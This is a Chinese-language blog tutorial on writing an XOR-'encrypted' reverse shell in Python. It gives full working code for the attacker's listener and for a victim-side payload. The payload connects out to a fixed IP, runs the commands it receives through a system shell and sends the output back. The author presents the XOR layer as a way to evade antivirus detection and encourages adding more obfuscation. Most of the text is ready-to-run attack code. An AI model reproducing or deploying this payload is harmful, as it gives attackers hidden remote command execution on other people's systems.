python编写反弹加密shell
python编写反弹加密shell
简要
python编写一个shell脚本是非常方便的事情,很多库可以直接调用,免去了造轮子的麻烦。在这之前,一直想自己尝试编写一个数据加密的shell,这里是自己的demo,加密和解密部分读者可以自己进行改变,比如异或一个值或者换成其他的加密,或多次加密等等。这里我以异或加密来演示。
详细过程
一个shell分为客户端和服务端。在某些情况下,我们无法直接去连接服务器,由于防火墙或者端口原因等等。那么这个时候我们可以接用反弹shell的方式,让服务器来主动连接我们。所以大致的实现过程是分为客户端和服务端两个。
客户端:
身为客户端,由于我们是接收连接的一方,所以我们首先需要监听端口。然后才能建立连接。
client = socket(AF_INET,SOCK_STREAM)
client.bind(('0.0.0.0',8080))
client.listen(5)
print('[+]Listening on port 8080...')
(conn,(ip,port)) = client.accept()
print('connect successfully to',ip)
然后我们要实现一个加密解密的功能,所以这里要编写两个函数,采用的是异或的方式。
def encrypt(data):
data = bytearray(data)
for i in range(len(data)):
data[i] ^= 0x23
return data
def decrypt(data):
data = bytearray(data)
for i in range(len(data)):
data[i] ^= 0x23
return data
一个加密,一个解密,从而使我们的数据在传输过程中是加密的形式,一定程度上能达到免杀效果,当然,这里的混淆越多越好。
然后就是实现命令传输,和接收执行结果的实现代码。
while True:
cmd = input('~$ ').strip()
if len(cmd) == 0:
continue
cmd = encrypt(cmd.encode('utf-8'))
conn.send(cmd)
header = conn.recv(4)
total_size = struct.unpack('i',header)[0]
recv_size = 0
while recv_size < total_size:
recv_data = conn.recv(1024)
recv_size += len(recv_data)
recv_data = decrypt(recv_data)
print(recv_data.decode('utf-8'),end='')
完整代码:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Author:Ameng, jlx-love.com
from socket import *
import struct
client = socket(AF_INET,SOCK_STREAM)
client.bind(('0.0.0.0',8080))
client.listen(5)
print('[+]Listening on port 8080...')
(conn,(ip,port)) = client.accept()
print('connect successfully to',ip)
def encrypt(data):
data = bytearray(data)
for i in range(len(data)):
data[i] ^= 0x23
return data
def decrypt(data):
data = bytearray(data)
for i in range(len(data)):
data[i] ^= 0x23
return data
while True:
cmd = input('~$ ').strip()
if len(cmd) == 0:
continue
cmd = encrypt(cmd.encode('utf-8'))
conn.send(cmd)
header = conn.recv(4)
total_size = struct.unpack('i',header)[0]
recv_size = 0
while recv_size < total_size:
recv_data = conn.recv(1024)
recv_size += len(recv_data)
recv_data = decrypt(recv_data)
print(recv_data.decode('utf-8'),end='')
服务端:
服务端的基本实现与客户端一致,只不过这里是要主动连接客户端,实现代码
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Author:Ameng, jlx-love.com
from socket import *
import subprocess
import struct
server = socket(AF_INET,SOCK_STREAM)
server.connect(('192.168.74.147',8080))
def encrypt(data):
data = bytearray(data)
for i in range(len(data)):
data[i] ^= 0x23
return data
def decrypt(data):
data = bytearray(data)
for i in range(len(data)):
data[i] ^= 0x23
return data
while True:
try:
cmd = server.recv(1024)
cmd = decrypt(cmd)
if len(cmd) == 0:
break
res = subprocess.Popen(cmd.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
stdout_res = res.stdout.read()
stderr_res = res.stderr.read()
result = stdout_res + stderr_res
result = encrypt(result)
total_size = len(result)
header = struct.pack('i',total_size)
server.send(header)
server.send(result)
except Exception:
break
server.close()
粘包问题
由于采用的是TCP连接,当命令的执行结果特别长时,容易发生粘包问题,即上个命令的执行结果未被全部接收,部分数据仍存放在缓存当中,所以这里采用了struct
模块,首先判断长度,然后先把长度传过去,再在客户端使用循环来接收结果。从而避免粘包
结果
客户端:
服务端执行脚本连接就行,可丰富加密函数,实现特有混淆。